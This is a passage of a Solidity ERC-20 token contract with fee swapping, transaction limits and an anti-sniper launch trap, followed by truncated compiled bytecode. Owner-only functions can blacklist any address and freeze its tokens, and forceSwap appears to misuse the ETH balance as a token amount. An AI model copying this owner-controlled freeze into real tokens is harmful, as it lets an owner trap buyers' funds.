swapTokensAtAmount = totalSupply * 15 / 10000; _marketingFee = marketingFee; _liquidityFee = liquidityFee; _devFee = devFee; totalFees = _marketingFee + _liquidityFee + _devFee; feeWallet = address(owner()); // set as fee wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp.add(2); } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * 1e18; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * 1e18; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _marketingFee = marketingFee; _liquidityFee = liquidityFee; _devFee = devFee; totalFees = _marketingFee + _liquidityFee + _devFee; require(totalFees <= 10, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateFeeWallet(address newWallet) external onlyOwner { emit feeWalletUpdated(newWallet, feeWallet); feeWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setBlacklisted(address[] memory blacklisted_) public onlyOwner { for (uint i = 0; i < blacklisted_.length; i++) { if (blacklisted_[i] != uniswapV2Pair && blacklisted_[i] != address(uniswapV2Router)) { _isBlacklisted[blacklisted_[i]] = true; } } } function delBlacklisted(address[] memory blacklisted_) public onlyOwner { for (uint i = 0; i < blacklisted_.length; i++) { _isBlacklisted[blacklisted_[i]] = false; } } function isSniper(address addr) public view returns (bool) { return _isBlacklisted[addr]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isBlacklisted[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp <= _launchTime) _isBlacklisted[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { fees = amount.mul(totalFees).div(100); _tokensForLiquidity += fees * _liquidityFee / totalFees; _tokensForDev += fees * _devFee / totalFees; _tokensForMarketing += fees * _marketingFee / totalFees; if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount) { contractBalance = swapTokensAtAmount; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; payable(feeWallet).transfer(ethForMarketing.add(ethForDev)); if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function forceSwap() external onlyOwner { _swapTokensForEth(address(this).balance); payable(feeWallet).transfer(address(this).balance); } function forceSend() external onlyOwner { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
0x6080604052600436106102295760003560e01c80638a8c523c11610123578063c8125e45116100ab578063df778d261161006f578063df778d2614610826578063e2f456051461083d578063e884f26014610868578063f2fde38b14610893578063f8b45b05146108bc57610230565b8063c8125e451461072d578063c876d0b914610756578063c8c8ebe414610781578063d257b34f146107ac578063dd62ed3e146107e957610230565b8063a457c2d7116100f2578063a457c2d714610636578063a9059cbb14610673578063bbc0c742146106b0578063c0246668146106db578063c18bc1951461070457610230565b80638a8c523c146105a05780638da5cb5b146105b757806395d89b41146105e25780639a7a23d61461060d57610230565b806323b872dd116101b1578063667185241161017557806366718524146104cf57806370a08231146104f8578063715018a614610535578063751039fc1461054c5780637571336a1461057757610230565b806323b872dd146103c2578063313ce567146103ff578063395093511461042a5780634a62bb65146104675780634fbee1931461049257610230565b806312b77e8a116101f857806312b77e8a1461030357806313114a9d1461031a57806318160ddd14610345578063203e727e14610370578063224290851461039957610230565b806306fdde0314610235578063095ea7b3146102605780630b559c6f1461029d5780630f3a325f146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108e7565b6040516102579190613f48565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061396d565b610979565b6040516102949190613f2d565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906139ad565b61099c565b005b3480156102d257600080fd5b506102ed60048036038101906102e89190613840565b610b93565b6040516102fa9190613f2d565b60405180910390f35b34801561030f57600080fd5b50610318610be9565b005b34801561032657600080fd5b5061032f610cd0565b60405161033c919061420a565b60405180910390f35b34801561035157600080fd5b5061035a610cd6565b604051610367919061420a565b60405180910390f35b34801561037c57600080fd5b50610397600480360381019061039291906139f6565b610ce0565b005b3480156103a557600080fd5b506103c060048036038101906103bb9190613a23565b610def565b005b3480156103ce57600080fd5b506103e960048036038101906103e491906138da565b610eee565b6040516103f69190613f2d565b60405180910390f35b34801561040b57600080fd5b50610414610f1d565b60405161042191906142b6565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c919061396d565b610f26565b60405161045e9190613f2d565b60405180910390f35b34801561047357600080fd5b5061047c610fd0565b6040516104899190613f2d565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613840565b610fe3565b6040516104c69190613f2d565b60405180910390f35b3480156104db57600080fd5b506104f660048036038101906104f19190613840565b611039565b005b34801561050457600080fd5b5061051f600480360381019061051a9190613840565b611175565b60405161052c919061420a565b60405180910390f35b34801561054157600080fd5b5061054a6111bd565b005b34801561055857600080fd5b50610561611245565b60405161056e9190613f2d565b60405180910390f35b34801561058357600080fd5b5061059e6004803603810190610599919061392d565b6112e5565b005b3480156105ac57600080fd5b506105b56113bc565b005b3480156105c357600080fd5b506105cc61146f565b6040516105d99190613eb1565b60405180910390f35b3480156105ee57600080fd5b506105f7611499565b6040516106049190613f48565b60405180910390f35b34801561061957600080fd5b50610634600480360381019061062f919061392d565b61152b565b005b34801561064257600080fd5b5061065d6004803603810190610658919061396d565b611646565b60405161066a9190613f2d565b60405180910390f35b34801561067f57600080fd5b5061069a6004803603810190610695919061396d565b611730565b6040516106a79190613f2d565b60405180910390f35b3480156106bc57600080fd5b506106c5611753565b6040516106d29190613f2d565b60405180910390f35b3480156106e757600080fd5b5061070260048036038101906106fd919061392d565b611766565b005b34801561071057600080fd5b5061072b600480360381019061072691906139f6565b61188b565b005b34801561073957600080fd5b50610754600480360381019061074f91906139ad565b61199a565b005b34801561076257600080fd5b5061076b611aab565b6040516107789190613f2d565b60405180910390f35b34801561078d57600080fd5b50610796611abe565b6040516107a3919061420a565b60405180910390f35b3480156107b857600080fd5b506107d360048036038101906107ce91906139f6565b611ac4565b6040516107e09190613f2d565b60405180910390f35b3480156107f557600080fd5b50610810600480360381019061080b919061389a565b611c19565b60405161081d919061420a565b60405180910390f35b34801561083257600080fd5b5061083b611ca0565b005b34801561084957600080fd5b50610852611d90565b60405161085f919061420a565b60405180910390f35b34801561087457600080fd5b5061087d611d96565b60405161088a9190613f2d565b60405180910390f35b34801561089f57600080fd5b506108ba60048036038101906108b59190613840565b611e36565b005b3480156108c857600080fd5b506108d1611f2e565b6040516108de919061420a565b60405180910390f35b6060600380546108f690614526565b80601f016020809104026020016040519081016040528092919081815260200182805461092290614526565b801561096f5780601f106109445761010080835404028352916020019161096f565b820191906000526020600020905b81548152906001019060200180831161095257829003601f168201915b5050505050905090565b600080610984611f34565b9050610991818585611f3c565b600191505092915050565b6109a4611f34565b73ffffffffffffffffffffffffffffffffffffffff166109c261146f565b73ffffffffffffffffffffffffffffffffffffffff1614610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f9061412a565b60405180910390fd5b60005b8151811015610b8f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610a7057610a6f61465f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610b045750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610ae357610ae261465f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610b7c57600160086000848481518110610b2257610b2161465f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610b8790614589565b915050610a1b565b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610bf1611f34565b73ffffffffffffffffffffffffffffffffffffffff16610c0f61146f565b73ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c9061412a565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ccd573d6000803e3d6000fd5b50565b60125481565b6000600254905090565b610ce8611f34565b73ffffffffffffffffffffffffffffffffffffffff16610d0661146f565b73ffffffffffffffffffffffffffffffffffffffff1614610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d539061412a565b60405180910390fd5b670de0b6b3a76400006103e86001610d72610cd6565b610d7c91906143fe565b610d8691906143cd565b610d9091906143cd565b811015610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc9906141ea565b60405180910390fd5b670de0b6b3a764000081610de691906143fe565b600c8190555050565b610df7611f34565b73ffffffffffffffffffffffffffffffffffffffff16610e1561146f565b73ffffffffffffffffffffffffffffffffffffffff1614610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e629061412a565b60405180910390fd5b826013819055508160148190555080601581905550601554601454601354610e939190614377565b610e9d9190614377565b601281905550600a6012541115610ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee090613f8a565b60405180910390fd5b505050565b600080610ef9611f34565b9050610f06858285612107565b610f11858585612193565b60019150509392505050565b60006012905090565b600080610f31611f34565b9050610fc5818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc09190614377565b611f3c565b600191505092915050565b600f60009054906101000a900460ff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611041611f34565b73ffffffffffffffffffffffffffffffffffffffff1661105f61146f565b73ffffffffffffffffffffffffffffffffffffffff16146110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061412a565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f5deb5ef622431f0df5a39b72dd556892f68ba42aa0f3aaf0800e166ce866492860405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111c5611f34565b73ffffffffffffffffffffffffffffffffffffffff166111e361146f565b73ffffffffffffffffffffffffffffffffffffffff1614611239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112309061412a565b60405180910390fd5b6112436000612d7e565b565b600061124f611f34565b73ffffffffffffffffffffffffffffffffffffffff1661126d61146f565b73ffffffffffffffffffffffffffffffffffffffff16146112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba9061412a565b60405180910390fd5b6000600f60006101000a81548160ff0219169083151502179055506001905090565b6112ed611f34565b73ffffffffffffffffffffffffffffffffffffffff1661130b61146f565b73ffffffffffffffffffffffffffffffffffffffff1614611361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113589061412a565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6113c4611f34565b73ffffffffffffffffffffffffffffffffffffffff166113e261146f565b73ffffffffffffffffffffffffffffffffffffffff1614611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f9061412a565b60405180910390fd5b6001600f60016101000a81548160ff021916908315150217905550611467600242612e4490919063ffffffff16565b600a81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546114a890614526565b80601f01602080910402602001604051908101604052809291908181526020018280546114d490614526565b80156115215780601f106114f657610100808354040283529160200191611521565b820191906000526020600020905b81548152906001019060200180831161150457829003601f168201915b5050505050905090565b611533611f34565b73ffffffffffffffffffffffffffffffffffffffff1661155161146f565b73ffffffffffffffffffffffffffffffffffffffff16146115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e9061412a565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f9061402a565b60405180910390fd5b6116428282612e5a565b5050565b600080611651611f34565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170e906141ca565b60405180910390fd5b6117248286868403611f3c565b60019250505092915050565b60008061173b611f34565b9050611748818585612193565b600191505092915050565b600f60019054906101000a900460ff1681565b61176e611f34565b73ffffffffffffffffffffffffffffffffffffffff1661178c61146f565b73ffffffffffffffffffffffffffffffffffffffff16146117e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d99061412a565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161187f9190613f2d565b60405180910390a25050565b611893611f34565b73ffffffffffffffffffffffffffffffffffffffff166118b161146f565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe9061412a565b60405180910390fd5b670de0b6b3a76400006103e8600561191d610cd6565b61192791906143fe565b61193191906143cd565b61193b91906143cd565b81101561197d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119749061400a565b60405180910390fd5b670de0b6b3a76400008161199191906143fe565b600e8190555050565b6119a2611f34565b73ffffffffffffffffffffffffffffffffffffffff166119c061146f565b73ffffffffffffffffffffffffffffffffffffffff1614611a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0d9061412a565b60405180910390fd5b60005b8151811015611aa757600060086000848481518110611a3b57611a3a61465f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611a9f90614589565b915050611a19565b5050565b601160009054906101000a900460ff1681565b600c5481565b6000611ace611f34565b73ffffffffffffffffffffffffffffffffffffffff16611aec61146f565b73ffffffffffffffffffffffffffffffffffffffff1614611b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b399061412a565b60405180910390fd5b620186a06001611b50610cd6565b611b5a91906143fe565b611b6491906143cd565b821015611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906140aa565b60405180910390fd5b6103e86005611bb3610cd6565b611bbd91906143fe565b611bc791906143cd565b821115611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c00906140ca565b60405180910390fd5b81600d8190555060019050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca8611f34565b73ffffffffffffffffffffffffffffffffffffffff16611cc661146f565b73ffffffffffffffffffffffffffffffffffffffff1614611d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d139061412a565b60405180910390fd5b611d2547612efb565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b50565b600d5481565b6000611da0611f34565b73ffffffffffffffffffffffffffffffffffffffff16611dbe61146f565b73ffffffffffffffffffffffffffffffffffffffff1614611e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0b9061412a565b60405180910390fd5b6000601160006101000a81548160ff0219169083151502179055506001905090565b611e3e611f34565b73ffffffffffffffffffffffffffffffffffffffff16611e5c61146f565b73ffffffffffffffffffffffffffffffffffffffff1614611eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea99061412a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1990613fca565b60405180910390fd5b611f2b81612d7e565b50565b600e5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa39061418a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561201c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201390613fea565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120fa919061420a565b60405180910390a3505050565b60006121138484611c19565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461218d578181101561217f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121769061404a565b60405180910390fd5b61218c8484848403611f3c565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fa9061414a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90613f6a565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f79061416a565b60405180910390fd5b600081141561231a576123158383600061314d565b612d79565b600a54421161237c576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600f60009054906101000a900460ff1615612a435761239961146f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561240757506123d761146f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124405750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561247a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124935750600960009054906101000a900460ff16155b15612a4257600f60019054906101000a900460ff1661258d57601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061254d5750601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61258c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258390613faa565b60405180910390fd5b5b601160009054906101000a900460ff1615612759576125aa61146f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156126335750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561268d5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156127585743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270a9061410a565b60405180910390fd5b43601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127fc5750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128a357600c54811115612846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283d906140ea565b60405180910390fd5b600e5461285283611175565b8261285d9190614377565b111561289e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612895906141aa565b60405180910390fd5b612a41565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129465750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561299557600c54811115612990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129879061408a565b60405180910390fd5b612a40565b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a3f57600e546129f283611175565b826129fd9190614377565b1115612a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a35906141aa565b60405180910390fd5b5b5b5b5b5b6000612a4e30611175565b90506000600d548210159050808015612a745750600960009054906101000a900460ff16155b8015612aca5750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b205750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b765750601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612bba576001600960006101000a81548160ff021916908315150217905550612b9e6133ce565b6000600960006101000a81548160ff0219169083151502179055505b6000600960009054906101000a900460ff16159050601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c705750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c7a57600090505b60008115612d6957612caa6064612c9c601254886135f990919063ffffffff16565b61360f90919063ffffffff16565b905060125460145482612cbd91906143fe565b612cc791906143cd565b60176000828254612cd89190614377565b9250508190555060125460155482612cf091906143fe565b612cfa91906143cd565b60186000828254612d0b9190614377565b9250508190555060125460135482612d2391906143fe565b612d2d91906143cd565b60166000828254612d3e9190614377565b925050819055506000811115612d5a57612d5987308361314d565b5b8085612d669190614458565b94505b612d7487878761314d565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183612e529190614377565b905092915050565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff811115612f1857612f1761468e565b5b604051908082528060200260200182016040528015612f465781602001602082028036833780820191505090505b5090503081600081518110612f5e57612f5d61465f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300057600080fd5b505afa158015613014573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613038919061386d565b8160018151811061304c5761304b61465f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130b330600660009054906101000a900473ffffffffffffffffffffffffff